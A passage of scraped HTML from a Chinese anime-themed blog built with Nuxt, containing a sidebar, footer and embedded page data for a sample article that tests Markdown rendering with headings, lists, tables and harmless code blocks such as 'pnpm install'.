duration-200">数学公式</span></span></button><button type="button" data-toc-id="脚注" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">脚注</span></span></button><button type="button" data-toc-id="折叠块与原生-html" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">折叠块与原生 HTML</span></span></button><button type="button" data-toc-id="混合内容排版" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">混合内容排版</span></span></button><button type="button" data-toc-id="一个带引用列表和代码的组合段落" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">一个带引用、列表和代码的组合段落</span></span></button><button type="button" data-toc-id="一段适合测试阅读宽度的长文本" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">一段适合测试阅读宽度的长文本</span></span></button><button type="button" data-toc-id="引用式总结" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">引用式总结</span></span></button><button type="button" data-toc-id="扩展语法观察区" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">扩展语法观察区</span></span></button><button type="button" data-toc-id="结尾" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">结尾</span></span></button><!--]--></div></div></div></div></div><!----></aside></div></section><!----><!----><!----><!--[--><!----><!----><!--v-if--><!--]--><!--[--><!----><!----><!--v-if--><!--]--></main><!--]--><footer class="border-t border-white/60 bg-white/72 dark:border-white/10 dark:bg-slate-950/70"><div class="mx-auto flex max-w-[1360px] flex-col gap-3 px-5 py-8 text-sm text-slate-500 sm:px-8 lg:px-10 dark:text-slate-400 md:flex-row md:items-center md:justify-between"><p>云屿 Yunyu · 用更柔软的方式整理动画内容222</p><div class="flex items-center gap-4"><a href="/posts" class="hover:text-slate-900 dark:hover:text-slate-50">文章</a><a href="/categories" class="hover:text-slate-900 dark:hover:text-slate-50">分类</a><a href="/tags" class="hover:text-slate-900 dark:hover:text-slate-50">标签</a><a href="/topics" class="hover:text-slate-900 dark:hover:text-slate-50">专题</a></div></div></footer></div><!--]--><!--]--><!--[--><!--]--><!--v-if--><!--]--><!--[--><!--]--><!--]--><!--]--></div><div id="teleports"></div><script>window.__NUXT__={};window.__NUXT__.config={public:{apiBase:"https://yunyu-server-native.ideaflow.top"},app:{baseURL:"/",buildId:"8b6c3828-55b7-4edc-9d5a-2bba62e80722",buildAssetsDir:"/_nuxt/",cdnURL:""}}</script><script type="application/json" data-nuxt-data="nuxt-app" data-ssr="true" id="__NUXT_DATA__">[["ShallowReactive",1],{"data":2,"state":118,"once":124,"_errors":125,"serverRendered":14,"path":127},["ShallowReactive",3],{"site-base-info":4,"site-post-how-to-use-yunyu":13},{"defaultDescription":5,"defaultTitle":6,"faviconUrl":7,"footerText":8,"logoUrl":7,"primaryColor":9,"secondaryColor":10,"siteName":11,"siteSubTitle":12},"聚焦新番观察、场景美学、角色成长与专题化内容组织的动漫风格内容站。","云屿 Yunyu - 个人博客","","云屿 Yunyu · 用更柔软的方式整理动画内容222","#38BDF8","#FB923C","云屿","在二次元场景与情绪里漫游的内容站",{"allowComment":14,"authorAvatarUrl":7,"authorName":15,"categoryName":16,"categorySlug":17,"commentCount":18,"contentAccessConfig":19,"contentAccessState":26,"contentHtml":32,"contentMarkdown":33,"contentTocJson":34,"coverUrl":35,"id":36,"likeCount":37,"publishedAt":38,"readingMinutes":39,"relatedPosts":40,"seoDescription":109,"seoTitle":110,"slug":111,"summary":112,"tagNames":113,"tailHiddenContentHtml":7,"tailHiddenTitle":114,"title":115,"topicNames":116,"videoUrl":7,"viewCount":117},true,"yunyu","入坑指南","starter-guide",8,{"articleAccess":20,"tailHiddenAccess":23,"version":25},{"enabled":21,"ruleTypes":22},false,[],{"enabled":21,"ruleTypes":24},[],1,{"articleAccessAllowed":14,"articleAccessPendingRuleTypes":27,"articleAccessRuleTypes":28,"loggedIn":21,"tailHiddenAccessAllowed":14,"tailHiddenAccessPendingRuleTypes":29,"tailHiddenAccessRuleTypes":30,"wechatAccessCodeEnabled":21,"wechatAccessCodeHint":31,"wechatQrCodeUrl":7},[],[],[],[],"关注公众号后输入访问验证码","\u003Ch1 id=\"markdown-全格式渲染示例\" tabindex=\"-1\">Markdown 全格式渲染示例\u003C\u002Fh1>\n\u003Cblockquote>\n\u003Cp>这是一份用于测试博客前端渲染效果的 Markdown 示例文档。\u003Cbr>\n你可以直接复制到文章系统中,也可以把这份文件作为渲染回归测试样例长期保留。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Chr>\n\u003Ch2 id=\"目录建议\" tabindex=\"-1\">目录建议\u003C\u002Fh2>\n\u003Cul>\n\u003Cli>标题层级\u003C\u002Fli>\n\u003Cli>段落与强调\u003C\u002Fli>\n\u003Cli>引用与分隔线\u003C\u002Fli>\n\u003Cli>列表与任务清单\u003C\u002Fli>\n\u003Cli>链接与图片\u003C\u002Fli>\n\u003Cli>表格\u003C\u002Fli>\n\u003Cli>行内代码与代码块\u003C\u002Fli>\n\u003Cli>数学公式\u003C\u002Fli>\n\u003Cli>脚注\u003C\u002Fli>\n\u003Cli>折叠块与原生 HTML\u003C\u002Fli>\n\u003Cli>混合内容排版\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Chr>\n\u003Ch1 id=\"一级标题-heading-1\" tabindex=\"-1\">一级标题 Heading 1\u003C\u002Fh1>\n\u003Cp>这是一个普通段落,用来测试正文的默认字号、行高、字间距、段间距以及最大阅读宽度是否合适。\u003C\u002Fp>\n\u003Cp>同一个段落中可以包含 \u003Cstrong>粗体\u003C\u002Fstrong>、\u003Cem>斜体\u003C\u002Fem>、\u003Cem>\u003Cstrong>粗斜体\u003C\u002Fstrong>\u003C\u002Fem>、\u003Cs>删除线\u003C\u002Fs>、\u003Ccode>行内代码\u003C\u002Fcode>、<mark>高亮文本<\u002Fmark>,以及 \u003Ccode>Ctrl + K\u003C\u002Fcode> 这种快捷键写法。\u003C\u002Fp>\n\u003Cp>这里再补一个较长的中文自然段,方便观察文本在多行换行时的阅读节奏是否稳定。理想情况下,正文不应该显得过于拥挤,也不应该让行距过于松散,影响连续阅读体验。\u003C\u002Fp>\n\u003Ch2 id=\"二级标题-heading-2\" tabindex=\"-1\">二级标题 Heading 2\u003C\u002Fh2>\n\u003Cp>二级标题下通常承接一个完整小节,适合测试标题的字号层级、与上文的留白距离、标题锚点偏移以及目录高亮状态。\u003C\u002Fp>\n\u003Ch3 id=\"三级标题-heading-3\" tabindex=\"-1\">三级标题 Heading 3\u003C\u002Fh3>\n\u003Cp>三级标题适合做章节内的子主题。\u003C\u002Fp>\n\u003Ch4 id=\"四级标题-heading-4\" tabindex=\"-1\">四级标题 Heading 4\u003C\u002Fh4>\n\u003Cp>四级标题通常用于更细粒度的信息组织。\u003C\u002Fp>\n\u003Ch5 id=\"五级标题-heading-5\" tabindex=\"-1\">五级标题 Heading 5\u003C\u002Fh5>\n\u003Cp>五级标题可以用于说明、附注或边界场景。\u003C\u002Fp>\n\u003Ch6 id=\"六级标题-heading-6\" tabindex=\"-1\">六级标题 Heading 6\u003C\u002Fh6>\n\u003Cp>六级标题一般很少使用,但仍建议测试样式是否可读。\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"段落与强调\" tabindex=\"-1\">段落与强调\u003C\u002Fh2>\n\u003Cp>春天适合重新整理内容结构,也适合检查博客的排版系统是否足够稳定。\u003C\u002Fp>\n\u003Cp>如果你正在做内容站点,通常会特别关注这些细节:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>粗体\u003C\u002Fstrong> 是否足够醒目\u003C\u002Fli>\n\u003Cli>\u003Cem>斜体\u003C\u002Fem> 是否与正文有明显区分\u003C\u002Fli>\n\u003Cli>\u003Cs>删除线\u003C\u002Fs> 是否颜色偏淡导致不可读\u003C\u002Fli>\n\u003Cli>\u003Ccode>行内代码\u003C\u002Fcode> 是否有独立背景与圆角\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>你也可以测试中英文混排,例如:Yunyu blog 在渲染 Markdown article 时,应该保证 English words、数字 2026、以及中文内容之间都保持舒适的阅读节奏。\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"引用与分隔线\" tabindex=\"-1\">引用与分隔线\u003C\u002Fh2>\n\u003Cblockquote>\n\u003Cp>这是一级引用。\u003C\u002Fp>\n\u003Cp>引用块常用于摘录、强调观点或做补充说明。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cblockquote>\n\u003Cp>这是一个带嵌套层级的引用。\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>这是二级引用。\u003C\u002Fp>\n\u003Cp>二级引用适合测试边框、缩进和背景层次。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003C\u002Fblockquote>\n\u003Chr>\n\u003Ch2 id=\"列表与任务清单\" tabindex=\"-1\">列表与任务清单\u003C\u002Fh2>\n\u003Ch3 id=\"无序列表\" tabindex=\"-1\">无序列表\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>第一项\u003C\u002Fli>\n\u003Cli>第二项\u003C\u002Fli>\n\u003Cli>第三项\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3 id=\"有序列表\" tabindex=\"-1\">有序列表\u003C\u002Fh3>\n\u003Col>\n\u003Cli>打开博客后台\u003C\u002Fli>\n\u003Cli>新建一篇测试文章\u003C\u002Fli>\n\u003Cli>粘贴这份 Markdown 内容\u003C\u002Fli>\n\u003Cli>检查前端渲染效果\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3 id=\"混合列表示例\" tabindex=\"-1\">混合列表示例\u003C\u002Fh3>\n\u003Col>\n\u003Cli>内容准备\n\u003Cul>\n\u003Cli>标题\u003C\u002Fli>\n\u003Cli>正文\u003C\u002Fli>\n\u003Cli>配图\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>排版检查\n\u003Cul>\n\u003Cli>间距\u003C\u002Fli>\n\u003Cli>字体\u003C\u002Fli>\n\u003Cli>对齐\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>发布预览\n\u003Cul>\n\u003Cli>PC 端\u003C\u002Fli>\n\u003Cli>移动端\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3 id=\"任务清单\" tabindex=\"-1\">任务清单\u003C\u002Fh3>\n\u003Cul class=\"yy-md-task-list yy-md-task-list yy-md-task-list yy-md-task-list yy-md-task-list yy-md-task-list\">\n\u003Cli class=\"yy-md-task-item\" data-task-checked=\"true\">\u003Cspan class=\"yy-md-task-row\">\u003Cspan class=\"yy-md-task-checkbox\" data-checked=\"true\" aria-hidden=\"true\">\u003C\u002Fspan>\u003Cspan class=\"yy-md-task-label\">标题层级测试\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fli>\n\u003Cli class=\"yy-md-task-item\" data-task-checked=\"true\">\u003Cspan class=\"yy-md-task-row\">\u003Cspan class=\"yy-md-task-checkbox\" data-checked=\"true\" aria-hidden=\"true\">\u003C\u002Fspan>\u003Cspan class=\"yy-md-task-label\">列表样式测试\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fli>\n\u003Cli class=\"yy-md-task-item\" data-task-checked=\"true\">\u003Cspan class=\"yy-md-task-row\">\u003Cspan class=\"yy-md-task-checkbox\" data-checked=\"true\" aria-hidden=\"true\">\u003C\u002Fspan>\u003Cspan class=\"yy-md-task-label\">代码高亮测试\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fli>\n\u003Cli class=\"yy-md-task-item\" data-task-checked=\"false\">\u003Cspan class=\"yy-md-task-row\">\u003Cspan class=\"yy-md-task-checkbox\" data-checked=\"false\" aria-hidden=\"true\">\u003C\u002Fspan>\u003Cspan class=\"yy-md-task-label\">数学公式插件测试\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fli>\n\u003Cli class=\"yy-md-task-item\" data-task-checked=\"false\">\u003Cspan class=\"yy-md-task-row\">\u003Cspan class=\"yy-md-task-checkbox\" data-checked=\"false\" aria-hidden=\"true\">\u003C\u002Fspan>\u003Cspan class=\"yy-md-task-label\">脚注插件测试\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fli>\n\u003Cli class=\"yy-md-task-item\" data-task-checked=\"false\">\u003Cspan class=\"yy-md-task-row\">\u003Cspan class=\"yy-md-task-checkbox\" data-checked=\"false\" aria-hidden=\"true\">\u003C\u002Fspan>\u003Cspan class=\"yy-md-task-label\">自定义容器测试\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Chr>\n\u003Ch2 id=\"链接与图片\" tabindex=\"-1\">链接与图片\u003C\u002Fh2>\n\u003Cp>这是一个普通链接:\u003Ca href=\"https:\u002F\u002Fexample.com\u002Fyunyu\" target=\"_blank\" rel=\"noopener noreferrer\">云屿项目仓库\u003C\u002Fa>。\u003C\u002Fp>\n\u003Cp>这是一个自动链接:\u003Ca href=\"https:\u002F\u002Fexample.com\u002Farticles\u002Fmarkdown-demo\" target=\"_blank\" rel=\"noopener noreferrer\">https:\u002F\u002Fexample.com\u002Farticles\u002Fmarkdown-demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>这是一个带 title 的链接:\u003Ca href=\"https:\u002F\u002Fexample.com\u002Fposts\u002Fdemo\" title=\"文章详情页\" target=\"_blank\" rel=\"noopener noreferrer\">前往文章详情页\u003C\u002Fa>。\u003C\u002Fp>\n\u003Cp>下面是图片测试:\u003C\u002Fp>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fimages.unsplash.com\u002Fphoto-1500530855697-b586d89ba3ee?auto=format&fit=crop&w=1200&q=80\" alt=\"示例封面图\">\u003C\u002Fp>\n\u003Cp>带说明文字的图片写法可以配合斜体段落一起测试:\u003C\u002Fp>\n\u003Cp>\u003Cem>图 1:用于测试图片宽度、圆角、阴影、懒加载占位以及 caption 样式。\u003C\u002Fem>\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"表格\" tabindex=\"-1\">表格\u003C\u002Fh2>\n\u003Ctable>\n\u003Cthead>\n\u003Ctr>\n\u003Cth>字段\u003C\u002Fth>\n\u003Cth>类型\u003C\u002Fth>\n\u003Cth>是否必填\u003C\u002Fth>\n\u003Cth>说明\u003C\u002Fth>\n\u003C\u002Ftr>\n\u003C\u002Fthead>\n\u003Ctbody>\n\u003Ctr>\n\u003Ctd>title\u003C\u002Ftd>\n\u003Ctd>string\u003C\u002Ftd>\n\u003Ctd>是\u003C\u002Ftd>\n\u003Ctd>文章标题\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n\u003Ctd>summary\u003C\u002Ftd>\n\u003Ctd>string\u003C\u002Ftd>\n\u003Ctd>否\u003C\u002Ftd>\n\u003Ctd>文章摘要\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n\u003Ctd>contentMarkdown\u003C\u002Ftd>\n\u003Ctd>string\u003C\u002Ftd>\n\u003Ctd>是\u003C\u002Ftd>\n\u003Ctd>Markdown 正文\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n\u003Ctd>coverImage\u003C\u002Ftd>\n\u003Ctd>string\u003C\u002Ftd>\n\u003Ctd>否\u003C\u002Ftd>\n\u003Ctd>封面图地址\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n\u003Ctd>publishedAt\u003C\u002Ftd>\n\u003Ctd>datetime\u003C\u002Ftd>\n\u003Ctd>否\u003C\u002Ftd>\n\u003Ctd>发布时间\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003C\u002Ftbody>\n\u003C\u002Ftable>\n\u003Cp>对齐方式测试:\u003C\u002Fp>\n\u003Ctable>\n\u003Cthead>\n\u003Ctr>\n\u003Cth style=\"text-align:left\">左对齐\u003C\u002Fth>\n\u003Cth style=\"text-align:center\">居中对齐\u003C\u002Fth>\n\u003Cth style=\"text-align:right\">右对齐\u003C\u002Fth>\n\u003C\u002Ftr>\n\u003C\u002Fthead>\n\u003Ctbody>\n\u003Ctr>\n\u003Ctd style=\"text-align:left\">Vue\u003C\u002Ftd>\n\u003Ctd style=\"text-align:center\">Nuxt\u003C\u002Ftd>\n\u003Ctd style=\"text-align:right\">4.3\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n\u003Ctd style=\"text-align:left\">Java\u003C\u002Ftd>\n\u003Ctd style=\"text-align:center\">Spring Boot\u003C\u002Ftd>\n\u003Ctd style=\"text-align:right\">3.4\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003Ctr>\n\u003Ctd style=\"text-align:left\">MySQL\u003C\u002Ftd>\n\u003Ctd style=\"text-align:center\">Redis\u003C\u002Ftd>\n\u003Ctd style=\"text-align:right\">8.4\u003C\u002Ftd>\n\u003C\u002Ftr>\n\u003C\u002Ftbody>\n\u003C\u002Ftable>\n\u003Chr>\n\u003Ch2 id=\"行内代码与代码块\" tabindex=\"-1\">行内代码与代码块\u003C\u002Fh2>\n\u003Cp>下面是 \u003Ccode>bash\u003C\u002Fcode> 代码块:\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"bash\"\n data-code-language-label=\"Bash\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">Bash\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">pnpm\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> install\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">pnpm\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> dev\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Cp>下面是 \u003Ccode>ts\u003C\u002Fcode> 代码块:\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"ts\"\n data-code-language-label=\"TypeScript\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">TypeScript\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">interface\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\"> ArticleTocItem\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> {\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#E36209;--shiki-dark:#FFA657\"> id\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">:\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> string\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#E36209;--shiki-dark:#FFA657\"> text\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">:\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> string\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#E36209;--shiki-dark:#FFA657\"> level\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">:\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> number\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">}\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">const\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> toc\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">:\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\"> ArticleTocItem\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">[] \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">=\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> [\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> { id: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">'intro'\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">, text: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">'简介'\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">, level: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">2\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> },\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> { id: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">'usage'\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">, text: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">'使用方式'\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">, level: \u003C\u002Fspan>\u003Cspan 